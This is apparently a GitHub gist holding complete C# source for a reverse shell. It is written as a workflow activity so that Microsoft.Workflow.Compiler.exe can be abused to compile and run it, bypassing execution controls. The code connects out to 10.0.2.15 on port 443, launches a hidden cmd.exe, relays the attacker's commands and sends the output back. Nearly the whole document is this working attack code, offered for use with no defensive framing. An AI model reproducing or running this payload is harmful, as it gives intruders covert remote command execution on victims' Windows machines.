Abuse Microsoft.Workflow.Compiler.exe for compile C# Reverse Shell
using System; | |
using System.Text; | |
using System.IO; | |
using System.Diagnostics; | |
using System.ComponentModel; | |
using System.Net; | |
using System.Net.Sockets; | |
using System.Workflow.Activities; | |
public class Program : SequentialWorkflowActivity | |
{ | |
static StreamWriter streamWriter; | |
public Program() | |
{ | |
using(TcpClient client = new TcpClient("10.0.2.15", 443)) | |
{ | |
using(Stream stream = client.GetStream()) | |
{ | |
using(StreamReader rdr = new StreamReader(stream)) | |
{ | |
streamWriter = new StreamWriter(stream); | |
StringBuilder strInput = new StringBuilder(); | |
Process p = new Process(); | |
p.StartInfo.FileName = "cmd.exe"; | |
p.StartInfo.CreateNoWindow = true; | |
p.StartInfo.UseShellExecute = false; | |
p.StartInfo.RedirectStandardOutput = true; | |
p.StartInfo.RedirectStandardInput = true; | |
p.StartInfo.RedirectStandardError = true; | |
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); | |
p.Start(); | |
p.BeginOutputReadLine(); | |
while(true) | |
{ | |
strInput.Append(rdr.ReadLine()); | |
p.StandardInput.WriteLine(strInput); | |
strInput.Remove(0, strInput.Length); | |
} | |
} | |
} | |
} | |
} | |
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | |
{ | |
StringBuilder strOutput = new StringBuilder(); | |
if (!String.IsNullOrEmpty(outLine.Data)) | |
{ | |
try | |
{ | |
strOutput.Append(outLine.Data); | |
streamWriter.WriteLine(strOutput); | |
streamWriter.Flush(); | |
} | |
catch (Exception err) { } | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment